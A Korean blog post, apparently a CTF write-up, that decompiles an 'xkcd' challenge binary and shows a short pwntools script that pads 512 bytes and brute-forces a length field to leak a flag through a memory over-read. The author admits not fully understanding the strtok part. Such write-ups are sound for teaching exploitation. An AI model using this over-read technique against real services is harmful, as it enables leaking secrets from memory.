1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // eax __int64 v5; // rax unsigned __int64 n; // rbx __int64 length; // [rsp-38h] [rbp-38h] const char *tokenize; // [rsp-30h] [rbp-30h] __int64 input; // [rsp-28h] [rbp-28h] __int64 flagfile; // [rsp-20h] [rbp-20h] setvbuf(stdout, 0LL, 2LL, 0LL); setvbuf(stdin, 0LL, 2LL, 0LL); bzero(&flag_6B7540, 256LL); flagfile = fopen64("flag", &unk_487DE4); if ( flagfile ) { fread(&flag_6B7540, 1LL, 256LL, flagfile); while ( 1 ) { input = (signed int)fgetln((__int64)stdin, &length); tokenize = (const char *)(signed int)strtok(input, "?"); if ( strcmp(tokenize, "SERVER, ARE YOU STILL THERE") ) break; tokenize = (const char *)(signed int)strtok(0LL, "\""); if ( strcmp(tokenize, " IF SO, REPLY ") ) { puts("MALFORMED REQUEST"); exit(0xFFFFFFFFLL); } v4 = strtok(0LL, "\""); tokenize = (const char *)v4; v5 = strlen(v4); memcpy(globals, tokenize, v5); tokenize = (const char *)(signed int)strtok(0LL, "("); tokenize = (const char *)(signed int)strtok(0LL, ")"); _isoc99_sscanf(tokenize, "%d LETTERS", (char *)&length + 4); globals[SHIDWORD(length)] = 0; n = SHIDWORD(length); if ( n > strlen(globals) ) { puts("NICE TRY"); exit(0xFFFFFFFFLL); } puts(globals); } puts("MALFORMED REQUEST"); exit(0xFFFFFFFFLL); } puts("Could not open the flag."); return -1; } | cs |
코드가 길지만 분석해보면
""" SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d LETTERS) """
라는 틀이 나온다.
여기서 주의해야 될것은 "와 (사이에 띄어쓰기가 있다는 것이다.
strtok의 구동방식을 보면 인자로 받는 문자를 널로 바꾸고 그 다음 문자열의 주소를 리턴한다.
그런데 "( 로 붙어있으면 처음 strtok시 \0(이 되고 그다음 strtok시 \0\0이 되면서 \0문자열이 리턴된다.
그럼 그 뒤로는 문자열이 항상 사실 잘 모르겠다. 대충 느낌을 알것 같으면 넘어가자.
%s에 들어오는 문자열이 globals에 복사된다.
이때 bss영역을 보면
flag 내용 담긴 주소
0x00000000006B7540
global 담긴 주소
0x00000000006B7340
global 주소의 +512 앞에 flag가 있음을 알 수 있다.
따라서 %s에 dump값을 512개 넣어주면 그 뒤 %d개의 문자를(flag까지 포함) puts에서 출력하게 된다.
이때, flag의 길이를 모르므로 1부터 256까지 브루트포스하면 된다.
exploit 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * padding = 'a'*512 for i in range(1, 257): p = process("./xkcd") pay = """SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d LETTERS)""" % (padding, 512+i) p.sendline(pay) res = p.recvline() print res[512:] p.close() | cs |
'정보보안 > CTF' 카테고리의 다른 글
[CSAW CTF 2013] Exploitation4 (0) | 2018.11.12 |
---|---|
[CSAW CTF 2013] Exploitation3 (0) | 2018.11.10 |
[CSAW CTF 2013] Exploitation2 (0) | 2018.11.09 |
[DEFCON CTF 2015] r0pbaby (0) | 2018.11.08 |
[TWMMA CTF 2016] Pwn greeting (0) | 2018.11.07 |